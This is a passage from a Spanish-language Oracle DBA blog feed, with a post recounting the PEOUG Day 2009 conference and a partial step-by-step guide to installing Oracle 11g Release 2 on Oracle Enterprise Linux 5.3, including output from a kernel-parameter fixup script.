lo que me quedaba libre lo he estado dedicando a la preparación de mi presentación para el &lt;a href="http://www.peoug.org/evento-peoug-day-2009/"&gt;PEOUG Day 2009&lt;/a&gt; que finalmente se llevó a cabo ayer.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;div&gt;Mi participación en este evento fue gracias a la invitación de &lt;b&gt;Miguel Palacios&lt;/b&gt;, presidente del &lt;a href="http://www.peoug.org/"&gt;PEOUG&lt;/a&gt; y flamante &lt;a href="http://apex.oracle.com/pls/otn/f?p=19297:4:3025273762028925::NO:4:P4_ID:860"&gt;Oracle ACE&lt;/a&gt;. Aún cuando tenía el tiempo bastante ajustado decidí aceptar el reto, y es que si bien la presentación duraba una hora -lo cual puede parecer poco tiempo para el público oyente- para el expositor usualmente representa una gran cantidad de horas a invertir en la elaboración del material visual a presentar, lo bueno es que este es el costo inicial y luego de esto el material queda y se puede utilizar para futuras presentaciones.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;El día del evento salí de casa más temprano de lo habitual, pero igual me topé con un tráfico brutal, cortesía de las chicas del &lt;i&gt;Escuadrón Fénix&lt;/i&gt;, que saben tanto del control del tráfico como yo de Informix, pero pese a que hicieron su mejor esfuerzo (mejor suerte para la próxima, chicas &lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgLc-0CqHJPQwTGUsTcxQ1bZK_cTrvs4VwcqUTfJFcl_fgPcZHDYQ-b06Y4lkSWLEzvhxdN8k4CFvXAouDpud_tmAxZKkWstc5QKFXyKGxCnucyaF1mGFda4-f0bTc5fmZZeEggpUV5D2E/"/&gt;) alcancé a llegar justo cuando Miguel arrancaba con las palabras de bienvenida y acto seguido &lt;b&gt;Tom Kyte&lt;/b&gt; presentó su Keynote "&lt;b&gt;The Best Way&lt;/b&gt;". La sala estaba totalmente llena, cientos de personas escuchaban con gran atención las palabras de este personaje casi mítico en el mundo Oracle. Una hora después Tom había concluido su impecable presentación entre los aplausos de los asistentes, entre ellos los míos desde luego, que me cuento entre sus más fervientes seguidores &lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAuUIttRaWpkb73J_HSMCVKQuQ_9sxn44cMKDvp5D7ebwW45kXaIQjMtle32Rk-wn6OexnXXjrxTiDL8pVNqZBkbP7uqc8xtAxMyvCgR2COGvXXH6dlA40IUNCCsx1Ur4cA4VNcWY51fI5/"/&gt;. La moraleja de su presentación es que no hay tal cosa como "&lt;b&gt;la mejor forma de ...&lt;/b&gt;.", pues al final todo depende de lo que estas pretendiendo hacer.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivTN6uPYOMhz7jD9pK27oHR25tR3lw4kloEw_Rx8nuHtLBfHD_Idv5EdmZot01BK42csnzImtpQl7tPuaAQQpR1_3fOGqcIXIJuw5klHXsPnSHEt16ILjNo754FX2Nmk1VdpaKUX5fZlzK/s1600/peoug.tk.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivTN6uPYOMhz7jD9pK27oHR25tR3lw4kloEw_Rx8nuHtLBfHD_Idv5EdmZot01BK42csnzImtpQl7tPuaAQQpR1_3fOGqcIXIJuw5klHXsPnSHEt16ILjNo754FX2Nmk1VdpaKUX5fZlzK/s400/peoug.tk.jpg" width="313" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Faltaban un par de horas para mi presentación así que aproveché a conversar con viejos amigos, y con algunos ex-alumnos de los cursos de Oracle University, para luego encaminarme a la sala que me habían asignado. Entré y encontré ya iniciada la presentación de &lt;a href="http://oracleradio.blogspot.com/"&gt;Juan Camilo Ruiz&lt;/a&gt; titulada "&lt;b&gt;Become Fusion Developer with no Java&lt;/b&gt;", y escuchándolo terminé de convencerme que Java no es lo mío, las cosas se han simplificado mucho pero aun no es tan fácil como Oracle Forms por ejemplo. Conforme se acercaba mi hora, aun mantenía la oculta esperanza de que concluida la charla de Juan Camilo la sala quedara vacía y mi público se quedaría reducido a un par de gatos (4 si contamos al camarógrafo y a la azafata), después de todo a esa misma hora &lt;a href="http://www.oracleenespanol.com/"&gt;Francisco Muñoz&lt;/a&gt; presentaba "&lt;b&gt;Oracle Database Advanced Security Options&lt;/b&gt;", así que cuando Juan Camilo se retiró y pasé a ocupar su lugar en el estrado, grande fue mi sorpresa al ver que la gente no solo no se iba sino que seguían entrando y hasta quedó un buen grupo de gente de pie, al fondo de la sala. Así que recurrí al infalible &lt;i&gt;Plan B&lt;/i&gt;: el viejo truco de quitarme las gafas y así aprovechar que, gracias a mi astigmatismo, solamente vería un público borroso y por tanto inofensivo &lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCo6dnAu-zxTcPBKtg5lm2xaOQJCU24qQl-8BVRO41FMGZGp0imRxtegg-8lThBgqkkwhVejk-meRnliyNiIG_U2uALGas4BaMAsfgtOe9EwgkbdW9o5W9tq30iLOfRc6RogUcM2KxrTa6/"/&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Sin mayor preámbulo procedí a iniciar mi presentación titulada &lt;a href="http://sites.google.com/site/enriqueorbegozo/Home/archivos/PEOUG.2009.Enrique.Orbegozo.pptx"&gt;Malas prácticas de programación, impacto y solución&lt;/a&gt; (mismo que pueden descargar desde ya). Debo reconocer que el público asistente fue muy receptivo y conforme iba mostrando algunos ejemplos de la audacia y osadía a la que pueden llegar algunos de nuestros amigos programadores, los oyentes se mantuvieron atentos, percatándose y celebrando el sarcasmo que de cuando en cuando introducía, según yo de forma solapada. Ya hacia el final, la azafata me hacía señas para que terminara mi charla, pero lo cierto es que mi presentación no se inició a la hora pactada, por motivos ajenos a mi voluntad, y lo justo era que me concedieran la hora completa por lo que, aun cuando considero que la democracia no es perfecta, me aproveché de ella y consulté a los asistentes si deseaban retirarse, afortunadamente la gente votó mayoritariamente porque la sesión siga y como &lt;i&gt;vox populi, vox dei&lt;/i&gt;, seguimos adelante y pocos minutos después todo había concluido satisfactoriamente. En suma, creo que ambos, el auditorio y yo, salimos más contentos que cuando entramos, lo cual es ya un logro nada despreciable, salvo mejor opinión.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0YywUXJbf7GbrxABvnfcwNoK7fxsmIY58caaN9GhepUq1wZgxNaqCWJognIvEQ0u0DDeIJNHbg6HK6iO3ks2524XjSKVC2E07vnC5WWr0RDs-9w9fbfz_W70565p71chy5qY0JhY34WP2/s1600/peoug.eo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0YywUXJbf7GbrxABvnfcwNoK7fxsmIY58caaN9GhepUq1wZgxNaqCWJognIvEQ0u0DDeIJNHbg6HK6iO3ks2524XjSKVC2E07vnC5WWr0RDs-9w9fbfz_W70565p71chy5qY0JhY34WP2/s400/peoug.eo.jpg" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Luego de almorzar algo a la volada, continué con el evento y asistí a la presentación de Miguel Palacios titulada "&lt;b&gt;Implementando Oracle Streams&lt;/b&gt;", para luego regresar nuevamente con Tom Kyte y "&lt;b&gt;All about metadata&lt;/b&gt;". Conforme escuchaba a Tom desarrollar el tema, aumentaba mi duda de si no se estaría refiriendo a un cliente mío, &lt;i&gt;Acme Corporation&lt;/i&gt;, que estaba pasando por los mismos problemas: no uso de integridad referencial, no uso del constraint &lt;i&gt;not null&lt;/i&gt;, almacenamiento de fechas como &lt;i&gt;number&lt;/i&gt; y no como &lt;i&gt;date&lt;/i&gt;, etc., menos mal ya están revirtiendo esta forma de trabajo, pues tal como demostrara Tom con algunos ejemplos muy representativos, carecer de constraints limita seriamente al optimizador y por tanto no solo la integridad de los datos está en juego sino también el desempeño de las aplicaciones.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;A continuación asistí a la presentación de Francisco Muñoz, "&lt;b&gt;Logging or nologging&lt;/b&gt;" y finalmente al Keynote "&lt;b&gt;Top 10, no 11, new features of Oracle database 11gR2&lt;/b&gt;" a cargo de Tom Kyte. Luego, el cierre del evento, un brindis, algunos sorteos y como quien no quiere la cosa le pedí a Tom Kyte que autografiara una copia (no era pirata desde luego) de su libro "&lt;b&gt;Expert Oracle&lt;/b&gt;", mismo que estoy ahora subastando en eBay, ¿qué? ¿de verdad creyeron eso?, como lo voy a subastar pues, lo tengo bien guardadito en mi mesa de noche, justo encima de la Biblia, jajaja.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBgnfAoxqCWQPOcw8eHe00NZbBTPfb-j3ru2VyplcY99zEBC-PjB3NSwCKUHpQaECp_KM848gezqyXYgkpJ2_JN2oJU1F-bUKTHuVvJz4z47g-xIe_bNiIlYTYRWzGAAIdtQw2FK_QfWvt/s1600/PEOUG.2009..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBgnfAoxqCWQPOcw8eHe00NZbBTPfb-j3ru2VyplcY99zEBC-PjB3NSwCKUHpQaECp_KM848gezqyXYgkpJ2_JN2oJU1F-bUKTHuVvJz4z47g-xIe_bNiIlYTYRWzGAAIdtQw2FK_QfWvt/s400/PEOUG.2009..jpg" width="400" title="De izquierda a derecha: Andrés Herrera, Francisco Muñoz, John Morales, Plinio Arbizu, Juan Camilo Ruiz, Tom Kyte, Enrique Orbegozo"/&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Bromas aparte, y ya para terminar, me queda la impresión de que el &lt;b&gt;PEOUG Day 2009&lt;/b&gt; fue un rotundo éxito, salvo por la presentación de Oracle "&lt;b&gt;Oracle LMS as Value Added Service&lt;/b&gt;", en la que se tocaron temas relacionados finalmente con el licenciamiento, un tema que a nosotros -los usuarios finales- no nos llama mucho la atención, de seguro que si alguien de la Sunat nos hablaba de las ventajas de estar al día con nuestros impuestos hubiese tenido el mismo mágico efecto &lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2wFF4s8gJgvV8mbWHvgT6Hf6KxqK9av2n5a5lGkWrdVnl0QKh6hefxSh4tgFSbfTHPH6sN3Vf4qld0JWHkNMprnAXi3i35BdYjRipDmWIV_Gko_7S0B0pwct7ZfH1gsanBv20hhlUyAEk/"/&gt;. Ojo!, no digo que empecemos a evadir impuestos y usemos Oracle pirata, de hecho la Sunat me debe todo un sueldo en impuestos pagados en exceso y lo primero que verifico con mis clientes es que estén con un licenciamiento correcto, pero en esta ocasión no era el público, el lugar, ni el momento apropiado para tratar este tema, mi modesta opinión desde luego. Hasta aquí llega mi reporte desde el lugar de los hechos, hasta la próxima!&lt;/div&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2009/11/presentacion-en-el-peoug-day-2009.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgLc-0CqHJPQwTGUsTcxQ1bZK_cTrvs4VwcqUTfJFcl_fgPcZHDYQ-b06Y4lkSWLEzvhxdN8k4CFvXAouDpud_tmAxZKkWstc5QKFXyKGxCnucyaF1mGFda4-f0bTc5fmZZeEggpUV5D2E/s72-c" width="72"/><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-5935361193887449224</guid><pubDate>Fri, 04 Sep 2009 04:33:00 +0000</pubDate><atom:updated>2009-09-03T23:39:45.717-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">11gR2</category><title>Instalando Oracle 11g Release 2 en OEL 5.3</title><description>&lt;div&gt;Finalmente logré descargar &lt;i&gt;Oracle 11g Release 2&lt;/i&gt; desde &lt;a href="http://www.oracle.com/technology/software/products/database/index.html"&gt;OTN&lt;/a&gt;, con lo que pude dar inicio a la instalación del software y la posterior creación de una base de datos. En este &lt;i&gt;Post&lt;/i&gt; les mostraré lo que encontré en la parte correspondiente a la instalación del software, ojo que no pretendo reemplazar a la &lt;a href="http://download.oracle.com/docs/cd/E11882_01/install.112/e10840/toc.htm"&gt;guía de instalación&lt;/a&gt;, cuya lectura es &lt;b&gt;obligatoria&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Instalación paso a paso&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;Esta instalación la hice sobre &lt;i&gt;OEL 5.3&lt;/i&gt;, si bien lo usual es configurarlo de tal forma que se cumpla estrictamente lo indicado como &lt;a href="http://download.oracle.com/docs/cd/E11882_01/install.112/e10840/pre_install.htm"&gt;pre-requisitos&lt;/a&gt;, a fin de probar la efectividad de los &lt;a href="http://download.oracle.com/docs/cd/E11882_01/install.112/e10840/pre_install.htm#BABGICDD"&gt;installation fixup scripts&lt;/a&gt;, si bien instalé los &lt;i&gt;RPMs&lt;/i&gt; exigidos, deliberadamente dejé de configurar los parámetros del &lt;i&gt;kernel&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1. &lt;/span&gt;Luego de invocar a &lt;i&gt;Oracle Universal Installer&lt;/i&gt;, se nos ofrece registrar nuestro email y password de &lt;i&gt;My Oracle Support&lt;/i&gt; a fin de recibir eventuales notificaciones, pero afortunadamente no es un obligatorio completar estos datos.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTALfpituBRJzLwXQVIvnPWKo5uahXKJs_Hn4DcyzVQpwO_j3UavHDpD3rfm22yB_uhKW4YYm-C61YiYNq-LDBd1nWgvDgwibLpZy6w4HMu342XUVqudCAYCvX1Koegrabyfk7ROr_bXY/s1600-h/11gR2.01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTALfpituBRJzLwXQVIvnPWKo5uahXKJs_Hn4DcyzVQpwO_j3UavHDpD3rfm22yB_uhKW4YYm-C61YiYNq-LDBd1nWgvDgwibLpZy6w4HMu342XUVqudCAYCvX1Koegrabyfk7ROr_bXY/s400/11gR2.01.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2. &lt;/span&gt;Por defecto se nos sugiere instalar el software y crear la base de datos, pero en esta parte me interesa exclusivamente lo primero.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7NXEzRmvyStLOUSGj-eSA6zOkKRwm7l2hPBon1QeSHjs-Vxy_lxvn0_7lcfBdq-equ3NAUiCHtRqd2RuK3GNcQl_onD81kS_37j5L9-WGN8vFBxwjGJyGVkXWfp6QKLljvTDiJTBq9fo/s400/11gR2.02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7NXEzRmvyStLOUSGj-eSA6zOkKRwm7l2hPBon1QeSHjs-Vxy_lxvn0_7lcfBdq-equ3NAUiCHtRqd2RuK3GNcQl_onD81kS_37j5L9-WGN8vFBxwjGJyGVkXWfp6QKLljvTDiJTBq9fo/s400/11gR2.02.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3. &lt;/span&gt;Hora de decidir si queremos o no usar &lt;i&gt;Real Application Clusters&lt;/i&gt;; para no complicar las cosas mejor empezamos con una configuración que no lo use.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5j9SjLNVDgbo1WM9nhXhuTFnn30aotQ8eFTdEJvXAu774sn_CDuoDWRlpbiTGL8x4oMPUosq5bY-dRIf__H__6xNH9nEJrK1fxNoiYa1hyZDXfiS45JuSdgzhK6eiPquKPPJnOztU85Y/s1600-h/11gR2.03.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5j9SjLNVDgbo1WM9nhXhuTFnn30aotQ8eFTdEJvXAu774sn_CDuoDWRlpbiTGL8x4oMPUosq5bY-dRIf__H__6xNH9nEJrK1fxNoiYa1hyZDXfiS45JuSdgzhK6eiPquKPPJnOztU85Y/s400/11gR2.03.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;4. &lt;/span&gt;¿Qué lenguaje usar? La verdad yo prefiero usar &lt;b&gt;Inglés&lt;/b&gt; para todo el software que uso, esto va desde &lt;i&gt;Windows Vista&lt;/i&gt;, &lt;i&gt;Office 2007&lt;/i&gt;, y desde luego lo extiendo a &lt;i&gt;OEL&lt;/i&gt; y &lt;i&gt;Oracle&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfYaaqHKGsd1Px9UkkTft94KA-Xy4RfQM_xM9Z6mHrskWA1wUZ7JCZ3WVc9y4uOmWtF5umOiDJm6YM14uvk4KTpP_zHclicF_ebi-0m-atzJ58r4noyupHEbQmgg7Ch8_ezKqBjJn-Mac/s1600-h/11gR2.04.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfYaaqHKGsd1Px9UkkTft94KA-Xy4RfQM_xM9Z6mHrskWA1wUZ7JCZ3WVc9y4uOmWtF5umOiDJm6YM14uvk4KTpP_zHclicF_ebi-0m-atzJ58r4noyupHEbQmgg7Ch8_ezKqBjJn-Mac/s400/11gR2.04.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;5. &lt;/span&gt;Para evaluar todo el poderío de Oracle Server, lo mejor es instalar &lt;i&gt;Enterprise Edition&lt;/i&gt;, sin duda alguna.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNL1mOFcz3tYNc3tqPRNZZ0QWYvQLYs3j1WX93TeSPlxhkWmyCzmDXcwtZWt3NwLobGtstCmdWGfArLjiNL8MCRJDyWdAjgFd5x_lc7-E_9ODPzcf0lh5D28iXT46ISUmi4L53tjj3lwQ/s1600-h/11gR2.05.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNL1mOFcz3tYNc3tqPRNZZ0QWYvQLYs3j1WX93TeSPlxhkWmyCzmDXcwtZWt3NwLobGtstCmdWGfArLjiNL8MCRJDyWdAjgFd5x_lc7-E_9ODPzcf0lh5D28iXT46ISUmi4L53tjj3lwQ/s400/11gR2.05.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;6. &lt;/span&gt;La ubicación del software no amerita mucho razonamiento, los valores por defecto son los correctos para esta prueba.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOBxqX78qQx2_GDm6t5K3_JNSMoo1TPJtDQ-TRlzKWChStl1l27jZZVWriZXO76HEoaQ0J1MF4jc81fBAVNmULQ5bmFGGk8cfaWcRuxAH0RqgHdYxK6sbsnCpp9M0A_7B5_u5GC1s2G3w/s1600-h/11gR2.06.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOBxqX78qQx2_GDm6t5K3_JNSMoo1TPJtDQ-TRlzKWChStl1l27jZZVWriZXO76HEoaQ0J1MF4jc81fBAVNmULQ5bmFGGk8cfaWcRuxAH0RqgHdYxK6sbsnCpp9M0A_7B5_u5GC1s2G3w/s400/11gR2.06.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;7. &lt;/span&gt;Idem para el &lt;i&gt;Inventory Directory&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_wTO3MalMOp37Z1nfUdqWdebNNKgGsjt7Gs-Q8mgagxiQSEG2svezYvIr58m3tSh4NZM4L4gnQnx41XqNd8Si9mWZcjzTW5ekF1WgD9Y4-f9cvCnBBE6vKmoxmS2VQuyxVGgr3uS1vFw/s1600-h/11gR2.07.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_wTO3MalMOp37Z1nfUdqWdebNNKgGsjt7Gs-Q8mgagxiQSEG2svezYvIr58m3tSh4NZM4L4gnQnx41XqNd8Si9mWZcjzTW5ekF1WgD9Y4-f9cvCnBBE6vKmoxmS2VQuyxVGgr3uS1vFw/s400/11gR2.07.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;8. &lt;/span&gt;Los grupos asignados a &lt;i&gt;OSDBA&lt;/i&gt; y &lt;i&gt;OSOPER&lt;/i&gt; son los esperados.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjePTloa5_pnBw41GCIi0bjPqGoBUndUZudQzPVN8eHsmddd2agdTAj1p2hGA7XSWXytSN30nz2vRVOIINd7WhPvAOIMcLETPlLZQInrxVy1sFFXKf0NToInY-n0e82xUI4Q8G7HH-p9LU/s1600-h/11gR2.08.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjePTloa5_pnBw41GCIi0bjPqGoBUndUZudQzPVN8eHsmddd2agdTAj1p2hGA7XSWXytSN30nz2vRVOIINd7WhPvAOIMcLETPlLZQInrxVy1sFFXKf0NToInY-n0e82xUI4Q8G7HH-p9LU/s400/11gR2.08.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;9. &lt;/span&gt;Aquí empieza la novedad, OUI hace la verificación de los pre-requisitos, y como no configuré los parámetros del &lt;i&gt;kernel&lt;/i&gt;, recibo la alerta de que es necesario resolverlo antes de continuar.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiA-QMWLHVlpOigF_6BryTA65vxJPFT1RtK0X6OOEsl0n1B1ma1lCg3u1P8kDyVWEEFiJVaPiPZcr59Vlrs0aTf49s-VHuZfLrczt2K6JCNGfNUQ-_Q6VRvieUFndC8BMfxBLqKP4gNpQ/s1600-h/11gR2.09.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiA-QMWLHVlpOigF_6BryTA65vxJPFT1RtK0X6OOEsl0n1B1ma1lCg3u1P8kDyVWEEFiJVaPiPZcr59Vlrs0aTf49s-VHuZfLrczt2K6JCNGfNUQ-_Q6VRvieUFndC8BMfxBLqKP4gNpQ/s400/11gR2.09.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Lo interesante es que OUI está en capacidad de proporcionarme un script que me permita resolver todos aquellos errores que aparecen como &lt;i&gt;fixable&lt;/i&gt;, es cuestión de presionar el botón &lt;i&gt;Fix &amp; Check Again&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhibNQ-yIXdOYZQdjfg7GCrHDhXmsO5E-XgTpCNdhrCgCU2hsgS0amcJbzumBgCToq0zw8D0Fq_siEOrAnZ5q_rkTMSwI0Fb8vmy1paoXKnVKAADy8gm6zb0yXCbUKUpadc6HL8rfaxLjs/s1600-h/11gR2.10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhibNQ-yIXdOYZQdjfg7GCrHDhXmsO5E-XgTpCNdhrCgCU2hsgS0amcJbzumBgCToq0zw8D0Fq_siEOrAnZ5q_rkTMSwI0Fb8vmy1paoXKnVKAADy8gm6zb0yXCbUKUpadc6HL8rfaxLjs/s400/11gR2.10.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Siguiendo las instrucciones procedo a ejecutar &lt;i&gt;runfixup.sh&lt;/i&gt; desde una sesión en la que estoy conectado como &lt;i&gt;root&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@talia ~]# /tmp/CVU_11.2.0.1.0_oracle/runfixup.sh
Response file being used is :/tmp/CVU_11.2.0.1.0_oracle/fixup.response
Enable file being used is :/tmp/CVU_11.2.0.1.0_oracle/fixup.enable
Log file location: /tmp/CVU_11.2.0.1.0_oracle/orarun.log
Setting Kernel Parameters...
kernel.sem = 250 32000 100 128
fs.file-max = 6815744
net.ipv4.ip_local_port_range = 9000 65500
net.core.rmem_default = 262144
net.core.wmem_default = 262144
net.core.rmem_max = 4194304
net.core.wmem_max = 1048576
fs.aio-max-nr = 1048576
uid=502(oracle) gid=501(oinstall) groups=501(oinstall),502(dba),506(asmdba)&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;De vuelta a OUI, se repite la verificación y los problemas de configuración del &lt;i&gt;kernel&lt;/i&gt; han desaparecido! Quedan las advertencias sobre la memoria disponible y el espacio de &lt;i&gt;swap&lt;/i&gt; asignado, pero no es realmente un problema para esta prueba por lo que opto por ignorarlos y proseguir con la instalación, desde luego Uds. &lt;b&gt;no&lt;/b&gt; deben hacer eso con una instalación real.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh465psbk_HVchVPCTnl-GZuhIhSaeXtrwZDvQiFWdR9sy1hI9Vg9LKIcAhtb55iKU3ymHMXMjfezNduil3lpN5naAF32zFZPpwFllYs6Rfa9v5rjB6pPkUQ7Bmh3tCADMdQ0tA7QJzzEc/s1600-h/11gR2.11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh465psbk_HVchVPCTnl-GZuhIhSaeXtrwZDvQiFWdR9sy1hI9Vg9LKIcAhtb55iKU3ymHMXMjfezNduil3lpN5naAF32zFZPpwFllYs6Rfa9v5rjB6pPkUQ7Bmh3tCADMdQ0tA7QJzzEc/s400/11gR2.11.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;10. &lt;/span&gt;Llegamos a la pantalla de resumen de la instalación.&lt;/div&gt;&lt;br /&gt;
